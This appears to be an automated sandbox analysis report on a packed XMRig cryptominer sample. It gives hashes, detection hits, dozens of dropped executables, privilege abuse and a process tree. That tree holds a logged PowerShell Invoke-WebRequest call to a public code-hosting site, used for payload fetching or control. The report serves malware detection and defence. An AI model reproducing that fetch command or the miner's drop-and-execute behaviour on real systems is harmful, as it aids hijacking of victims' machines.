xmrig | 81f441ebfa71c9a04c4b5a4b22d9f1e4482c5859a2fb77c5a8d54201df1241b8

Analysis

max time kernel
31s
max time network
31s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
29/08/2024, 10:28

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

ba7d1215e1ec39ef340fd47fb9306de0N.exe
Size

2.4MB
MD5

ba7d1215e1ec39ef340fd47fb9306de0
SHA1

58af3ba1d28fb58458925d4fd4b0aa4bb0cd96ff
SHA256

81f441ebfa71c9a04c4b5a4b22d9f1e4482c5859a2fb77c5a8d54201df1241b8
SHA512

32c21ea19fdaf2fda84c5c826cc30438b569cbe9d3c447d8e3f1eb4e924db6a322b47f72691aa7a2ebb04ad939aeade2046e035fe5431724249d764895465971
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTWsuT9cbA9Vs:NABv

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 25 IoCs

miner

resource	yara_rule
behavioral2/memory/1640-86-0x00007FF71EE50000-0x00007FF71F242000-memory.dmp	xmrig
behavioral2/memory/2384-731-0x00007FF632E50000-0x00007FF633242000-memory.dmp	xmrig
behavioral2/memory/4972-167-0x00007FF7FC910000-0x00007FF7FCD02000-memory.dmp	xmrig
behavioral2/memory/228-161-0x00007FF73E140000-0x00007FF73E532000-memory.dmp	xmrig
behavioral2/memory/2060-154-0x00007FF7D8B90000-0x00007FF7D8F82000-memory.dmp	xmrig
behavioral2/memory/1564-153-0x00007FF67FA80000-0x00007FF67FE72000-memory.dmp	xmrig
behavioral2/memory/4660-145-0x00007FF6C15B0000-0x00007FF6C19A2000-memory.dmp	xmrig
behavioral2/memory/1468-138-0x00007FF736ED0000-0x00007FF7372C2000-memory.dmp	xmrig
behavioral2/memory/3076-137-0x00007FF67C540000-0x00007FF67C932000-memory.dmp	xmrig
behavioral2/memory/1296-131-0x00007FF63F140000-0x00007FF63F532000-memory.dmp	xmrig
behavioral2/memory/396-124-0x00007FF669EA0000-0x00007FF66A292000-memory.dmp	xmrig
behavioral2/memory/4700-846-0x00007FF7551B0000-0x00007FF7555A2000-memory.dmp	xmrig
behavioral2/memory/4380-119-0x00007FF6E7C20000-0x00007FF6E8012000-memory.dmp	xmrig
behavioral2/memory/2880-99-0x00007FF7389C0000-0x00007FF738DB2000-memory.dmp	xmrig
behavioral2/memory/1900-91-0x00007FF6228D0000-0x00007FF622CC2000-memory.dmp	xmrig
behavioral2/memory/4308-85-0x00007FF73DE40000-0x00007FF73E232000-memory.dmp	xmrig
behavioral2/memory/1432-28-0x00007FF7B2130000-0x00007FF7B2522000-memory.dmp	xmrig
behavioral2/memory/2732-975-0x00007FF631910000-0x00007FF631D02000-memory.dmp	xmrig
behavioral2/memory/1568-1107-0x00007FF7CD870000-0x00007FF7CDC62000-memory.dmp	xmrig
behavioral2/memory/2680-1222-0x00007FF61E0C0000-0x00007FF61E4B2000-memory.dmp	xmrig
behavioral2/memory/3324-1456-0x00007FF7ED3E0000-0x00007FF7ED7D2000-memory.dmp	xmrig
behavioral2/memory/1240-1576-0x00007FF771340000-0x00007FF771732000-memory.dmp	xmrig
behavioral2/memory/1816-1581-0x00007FF7D1840000-0x00007FF7D1C32000-memory.dmp	xmrig
behavioral2/memory/4968-1796-0x00007FF60DFA0000-0x00007FF60E392000-memory.dmp	xmrig
behavioral2/memory/336-1797-0x00007FF6F6D70000-0x00007FF6F7162000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2852	powershell.exe
10	2852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2852	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1900	Zhpzlgl.exe
1640	sHzhIpH.exe
1432	iyVcmuv.exe
2880	rvkgYlH.exe
4380	NeOvyJa.exe
396	qmraPRC.exe
1296	zhQKCMg.exe
4660	RsRSdxn.exe
3076	RpjfkOd.exe
1564	pdhtjeD.exe
1468	xnnitnT.exe
2060	wlcbDom.exe
228	vdvKoPB.exe
4972	NxhvXZr.exe
2384	TFYAfNy.exe
4700	RMJeKDi.exe
1568	lUJWBRc.exe
2732	FPXHpcY.exe
2680	HMYphFx.exe
3324	UraZyOY.exe
1240	nknIjgO.exe
1816	IdAkHxV.exe
4968	XKaxZSl.exe
336	lgFAowq.exe
2248	plSdwRB.exe
448	pcIeMje.exe
3804	VYCbNDi.exe
2584	DhiYFNC.exe
4536	LqIineH.exe
4560	qCsOaRd.exe
724	dPUmLdv.exe
4488	YjjwiWH.exe
4200	NRgqcxE.exe
2272	KvcuOHF.exe
4280	AjgUman.exe
4272	IriSoyc.exe
3948	nGCbvbl.exe
4328	JHzqILr.exe
1628	vszbFSf.exe
2000	APGxvsq.exe
3468	SLabvsf.exe
404	KvjVpRM.exe
392	pSEfYbn.exe
4924	tXBNijx.exe
4676	FMTMaNC.exe
2236	IlCDrOV.exe
1100	OEWnrjN.exe
1004	DYDHtTz.exe
3440	tqUaYPG.exe
4612	DxLzlRs.exe
516	fbvBgjF.exe
1572	JyVNBuw.exe
3116	YMhReWP.exe
760	LDXkhsh.exe
3956	TZxLZxE.exe
5148	BDUKYgV.exe
5176	IpNkZdm.exe
5204	hZHiOBr.exe
5236	MdJdQdT.exe
5264	RRZknaG.exe
5288	mvjkIma.exe
5316	ReZxDnb.exe
5344	DDFiYmZ.exe
5368	nyAGyte.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4308-0-0x00007FF73DE40000-0x00007FF73E232000-memory.dmp	upx
behavioral2/files/0x000700000002345d-7.dat	upx
behavioral2/memory/1900-8-0x00007FF6228D0000-0x00007FF622CC2000-memory.dmp	upx
behavioral2/files/0x000700000002345c-10.dat	upx
behavioral2/memory/1640-21-0x00007FF71EE50000-0x00007FF71F242000-memory.dmp	upx
behavioral2/memory/2880-23-0x00007FF7389C0000-0x00007FF738DB2000-memory.dmp	upx
behavioral2/files/0x000700000002345f-30.dat	upx
behavioral2/files/0x0007000000023460-35.dat	upx
behavioral2/memory/1296-45-0x00007FF63F140000-0x00007FF63F532000-memory.dmp	upx
behavioral2/files/0x0007000000023465-57.dat	upx
behavioral2/files/0x0008000000023459-87.dat	upx
behavioral2/memory/1640-86-0x00007FF71EE50000-0x00007FF71F242000-memory.dmp	upx
behavioral2/files/0x0007000000023469-95.dat	upx
behavioral2/files/0x000700000002346e-120.dat	upx
behavioral2/files/0x000700000002346f-140.dat	upx
behavioral2/memory/1816-152-0x00007FF7D1840000-0x00007FF7D1C32000-memory.dmp	upx
behavioral2/files/0x0007000000023477-181.dat	upx
behavioral2/memory/2384-731-0x00007FF632E50000-0x00007FF633242000-memory.dmp	upx
behavioral2/files/0x000700000002347c-206.dat	upx
behavioral2/files/0x000700000002347a-204.dat	upx
behavioral2/files/0x000700000002347b-201.dat	upx
behavioral2/files/0x0007000000023479-199.dat	upx
behavioral2/files/0x0007000000023478-194.dat	upx
behavioral2/files/0x0007000000023476-184.dat	upx
behavioral2/files/0x0007000000023475-179.dat	upx
behavioral2/files/0x0007000000023474-174.dat	upx
behavioral2/files/0x0007000000023473-169.dat	upx
behavioral2/memory/336-168-0x00007FF6F6D70000-0x00007FF6F7162000-memory.dmp	upx
behavioral2/memory/4972-167-0x00007FF7FC910000-0x00007FF7FCD02000-memory.dmp	upx
behavioral2/files/0x0007000000023472-162.dat	upx
behavioral2/memory/228-161-0x00007FF73E140000-0x00007FF73E532000-memory.dmp	upx
behavioral2/memory/4968-160-0x00007FF60DFA0000-0x00007FF60E392000-memory.dmp	upx
behavioral2/files/0x0007000000023471-155.dat	upx
behavioral2/memory/2060-154-0x00007FF7D8B90000-0x00007FF7D8F82000-memory.dmp	upx
behavioral2/memory/1564-153-0x00007FF67FA80000-0x00007FF67FE72000-memory.dmp	upx
behavioral2/files/0x0007000000023470-147.dat	upx
behavioral2/memory/1240-146-0x00007FF771340000-0x00007FF771732000-memory.dmp	upx
behavioral2/memory/4660-145-0x00007FF6C15B0000-0x00007FF6C19A2000-memory.dmp	upx
behavioral2/memory/3324-139-0x00007FF7ED3E0000-0x00007FF7ED7D2000-memory.dmp	upx
behavioral2/memory/1468-138-0x00007FF736ED0000-0x00007FF7372C2000-memory.dmp	upx
behavioral2/memory/3076-137-0x00007FF67C540000-0x00007FF67C932000-memory.dmp	upx
behavioral2/memory/1296-131-0x00007FF63F140000-0x00007FF63F532000-memory.dmp	upx
behavioral2/memory/2680-130-0x00007FF61E0C0000-0x00007FF61E4B2000-memory.dmp	upx
behavioral2/files/0x000700000002346b-125.dat	upx
behavioral2/memory/396-124-0x00007FF669EA0000-0x00007FF66A292000-memory.dmp	upx
behavioral2/memory/2732-123-0x00007FF631910000-0x00007FF631D02000-memory.dmp	upx
behavioral2/memory/4700-846-0x00007FF7551B0000-0x00007FF7555A2000-memory.dmp	upx
behavioral2/memory/4380-119-0x00007FF6E7C20000-0x00007FF6E8012000-memory.dmp	upx
behavioral2/files/0x000700000002346a-115.dat	upx
behavioral2/memory/1568-109-0x00007FF7CD870000-0x00007FF7CDC62000-memory.dmp	upx
behavioral2/memory/4700-108-0x00007FF7551B0000-0x00007FF7555A2000-memory.dmp	upx
behavioral2/memory/2880-99-0x00007FF7389C0000-0x00007FF738DB2000-memory.dmp	upx
behavioral2/memory/2384-98-0x00007FF632E50000-0x00007FF633242000-memory.dmp	upx
behavioral2/files/0x0007000000023468-92.dat	upx
behavioral2/memory/1900-91-0x00007FF6228D0000-0x00007FF622CC2000-memory.dmp	upx
behavioral2/memory/4972-90-0x00007FF7FC910000-0x00007FF7FCD02000-memory.dmp	upx
behavioral2/memory/4308-85-0x00007FF73DE40000-0x00007FF73E232000-memory.dmp	upx
behavioral2/files/0x0007000000023467-83.dat	upx
behavioral2/files/0x0007000000023466-78.dat	upx
behavioral2/memory/228-77-0x00007FF73E140000-0x00007FF73E532000-memory.dmp	upx
behavioral2/memory/2060-71-0x00007FF7D8B90000-0x00007FF7D8F82000-memory.dmp	upx
behavioral2/files/0x0007000000023464-67.dat	upx
behavioral2/memory/1564-66-0x00007FF67FA80000-0x00007FF67FE72000-memory.dmp	upx
behavioral2/memory/1468-65-0x00007FF736ED0000-0x00007FF7372C2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\OQdOoWd.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\fhQsRiQ.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\OsghIPf.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\hiXuSaz.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\RgYYZJP.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\mVlMaOO.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\reXlKnQ.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\HpFKioD.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\nnCNWgg.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\CFlFGij.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\UXEoUTe.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\mfmZAwS.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\HjrYmlu.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\BGubSCH.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\MsPBvTi.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\QuwRmuD.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\MtVupqF.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\CdorlUe.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\JUrNrne.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\viTdJCZ.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\iJnMjzd.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\YISKpxX.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\ENupCxp.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\LeDjEZe.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\SLXpiot.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\jNnghvM.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\oQJBgOa.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\PXMZRNQ.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\swfXFJa.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\fhyQtGo.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\vaqTApk.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\MLvHGpA.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\pImyNgw.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\AluZQsB.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\UJzKvRr.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\IJAXpvD.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\BwXKrap.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\SzjjJxv.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\BIgDkJS.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\zhmJUmh.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\plAqage.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\mnjfErx.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\nSNGECd.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\uKCnUOq.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\fLsFXeh.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\ozSzKjw.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\gWOyGMa.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\RIyYKXN.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\kYBDlNb.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\RnBNINu.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\IEHfuAG.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\crfIraV.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\eDsgmeh.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\SyCfLym.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\qBEfnOb.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\gNRgyPy.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\WPMDWVh.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\mRznXZy.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\DxrnIMu.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\mCtMgXZ.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\QDSwATj.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\IhgOKIu.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\dlObKjF.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe
File created	C:\Windows\System\JZJNHBF.exe	ba7d1215e1ec39ef340fd47fb9306de0N.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2852	powershell.exe
2852	powershell.exe
2852	powershell.exe
2852	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe
Token: SeLockMemoryPrivilege	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe
Token: SeDebugPrivilege	2852	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 2852	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	85
PID 4308 wrote to memory of 2852	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	85
PID 4308 wrote to memory of 1900	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	86
PID 4308 wrote to memory of 1900	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	86
PID 4308 wrote to memory of 1640	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	87
PID 4308 wrote to memory of 1640	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	87
PID 4308 wrote to memory of 1432	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	88
PID 4308 wrote to memory of 1432	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	88
PID 4308 wrote to memory of 2880	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	89
PID 4308 wrote to memory of 2880	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	89
PID 4308 wrote to memory of 4380	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	90
PID 4308 wrote to memory of 4380	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	90
PID 4308 wrote to memory of 396	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	91
PID 4308 wrote to memory of 396	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	91
PID 4308 wrote to memory of 1296	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	92
PID 4308 wrote to memory of 1296	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	92
PID 4308 wrote to memory of 3076	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	93
PID 4308 wrote to memory of 3076	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	93
PID 4308 wrote to memory of 4660	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	94
PID 4308 wrote to memory of 4660	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	94
PID 4308 wrote to memory of 1564	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	95
PID 4308 wrote to memory of 1564	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	95
PID 4308 wrote to memory of 1468	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	96
PID 4308 wrote to memory of 1468	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	96
PID 4308 wrote to memory of 2060	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	97
PID 4308 wrote to memory of 2060	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	97
PID 4308 wrote to memory of 228	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	98
PID 4308 wrote to memory of 228	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	98
PID 4308 wrote to memory of 4972	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	99
PID 4308 wrote to memory of 4972	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	99
PID 4308 wrote to memory of 2384	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	100
PID 4308 wrote to memory of 2384	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	100
PID 4308 wrote to memory of 4700	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	101
PID 4308 wrote to memory of 4700	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	101
PID 4308 wrote to memory of 1568	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	102
PID 4308 wrote to memory of 1568	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	102
PID 4308 wrote to memory of 2732	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	103
PID 4308 wrote to memory of 2732	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	103
PID 4308 wrote to memory of 2680	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	104
PID 4308 wrote to memory of 2680	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	104
PID 4308 wrote to memory of 3324	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	105
PID 4308 wrote to memory of 3324	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	105
PID 4308 wrote to memory of 1240	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	106
PID 4308 wrote to memory of 1240	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	106
PID 4308 wrote to memory of 1816	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	107
PID 4308 wrote to memory of 1816	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	107
PID 4308 wrote to memory of 4968	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	108
PID 4308 wrote to memory of 4968	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	108
PID 4308 wrote to memory of 336	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	109
PID 4308 wrote to memory of 336	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	109
PID 4308 wrote to memory of 2248	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	110
PID 4308 wrote to memory of 2248	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	110
PID 4308 wrote to memory of 448	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	111
PID 4308 wrote to memory of 448	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	111
PID 4308 wrote to memory of 3804	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	112
PID 4308 wrote to memory of 3804	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	112
PID 4308 wrote to memory of 2584	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	113
PID 4308 wrote to memory of 2584	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	113
PID 4308 wrote to memory of 4536	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	114
PID 4308 wrote to memory of 4536	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	114
PID 4308 wrote to memory of 4560	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	115
PID 4308 wrote to memory of 4560	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	115
PID 4308 wrote to memory of 724	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	116
PID 4308 wrote to memory of 724	4308	ba7d1215e1ec39ef340fd47fb9306de0N.exe	116

C:\Users\Admin\AppData\Local\Temp\ba7d1215e1ec39ef340fd47fb9306de0N.exe
"C:\Users\Admin\AppData\Local\Temp\ba7d1215e1ec39ef340fd47fb9306de0N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\System\Zhpzlgl.exe
  C:\Windows\System\Zhpzlgl.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\sHzhIpH.exe
  C:\Windows\System\sHzhIpH.exe
  2⤵
  - Executes dropped EXE
  PID:1640
- C:\Windows\System\iyVcmuv.exe
  C:\Windows\System\iyVcmuv.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\rvkgYlH.exe
  C:\Windows\System\rvkgYlH.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\NeOvyJa.exe
  C:\Windows\System\NeOvyJa.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\qmraPRC.exe
  C:\Windows\System\qmraPRC.exe
  2⤵
  - Executes dropped EXE
  PID:396
- C:\Windows\System\zhQKCMg.exe
  C:\Windows\System\zhQKCMg.exe
  2⤵
  - Executes dropped EXE
  PID:1296
- C:\Windows\System\RpjfkOd.exe
  C:\Windows\System\RpjfkOd.exe
  2⤵
  - Executes dropped EXE
  PID:3076
- C:\Windows\System\RsRSdxn.exe
  C:\Windows\System\RsRSdxn.exe
  2⤵
  - Executes dropped EXE
  PID:4660
- C:\Windows\System\pdhtjeD.exe
  C:\Windows\System\pdhtjeD.exe
  2⤵
  - Executes dropped EXE
  PID:1564
- C:\Windows\System\xnnitnT.exe
  C:\Windows\System\xnnitnT.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Windows\System\wlcbDom.exe
  C:\Windows\System\wlcbDom.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\vdvKoPB.exe
  C:\Windows\System\vdvKoPB.exe
  2⤵
  - Executes dropped EXE
  PID:228
- C:\Windows\System\NxhvXZr.exe
  C:\Windows\System\NxhvXZr.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- C:\Windows\System\TFYAfNy.exe
  C:\Windows\System\TFYAfNy.exe
  2⤵
  - Executes dropped EXE
  PID:2384
- C:\Windows\System\RMJeKDi.exe
  C:\Windows\System\RMJeKDi.exe
  2⤵
  - Executes dropped EXE
  PID:4700
- C:\Windows\System\lUJWBRc.exe
  C:\Windows\System\lUJWBRc.exe
  2⤵
  - Executes dropped EXE
  PID:1568
- C:\Windows\System\FPXHpcY.exe
  C:\Windows\System\FPXHpcY.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\HMYphFx.exe
  C:\Windows\System\HMYphFx.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\UraZyOY.exe
  C:\Windows\System\UraZyOY.exe
  2⤵
  - Executes dropped EXE
  PID:3324
- C:\Windows\System\nknIjgO.exe
  C:\Windows\System\nknIjgO.exe
  2⤵
  - Executes dropped EXE
  PID:1240
- C:\Windows\System\IdAkHxV.exe
  C:\Windows\System\IdAkHxV.exe
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Windows\System\XKaxZSl.exe
  C:\Windows\System\XKaxZSl.exe
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\System\lgFAowq.exe
  C:\Windows\System\lgFAowq.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\plSdwRB.exe
  C:\Windows\System\plSdwRB.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Windows\System\pcIeMje.exe
  C:\Windows\System\pcIeMje.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\VYCbNDi.exe
  C:\Windows\System\VYCbNDi.exe
  2⤵
  - Executes dropped EXE
  PID:3804
- C:\Windows\System\DhiYFNC.exe
  C:\Windows\System\DhiYFNC.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\LqIineH.exe
  C:\Windows\System\LqIineH.exe
  2⤵
  - Executes dropped EXE
  PID:4536
- C:\Windows\System\qCsOaRd.exe
  C:\Windows\System\qCsOaRd.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\dPUmLdv.exe
  C:\Windows\System\dPUmLdv.exe
  2⤵
  - Executes dropped EXE
  PID:724
- C:\Windows\System\YjjwiWH.exe
  C:\Windows\System\YjjwiWH.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\NRgqcxE.exe
  C:\Windows\System\NRgqcxE.exe
  2⤵
  - Executes dropped EXE
  PID:4200
- C:\Windows\System\KvcuOHF.exe
  C:\Windows\System\KvcuOHF.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\AjgUman.exe
  C:\Windows\System\AjgUman.exe
  2⤵
  - Executes dropped EXE
  PID:4280
- C:\Windows\System\IriSoyc.exe
  C:\Windows\System\IriSoyc.exe
  2⤵
  - Executes dropped EXE
  PID:4272
- C:\Windows\System\nGCbvbl.exe
  C:\Windows\System\nGCbvbl.exe
  2⤵
  - Executes dropped EXE
  PID:3948
- C:\Windows\System\JHzqILr.exe
  C:\Windows\System\JHzqILr.exe
  2⤵
  - Executes dropped EXE
  PID:4328
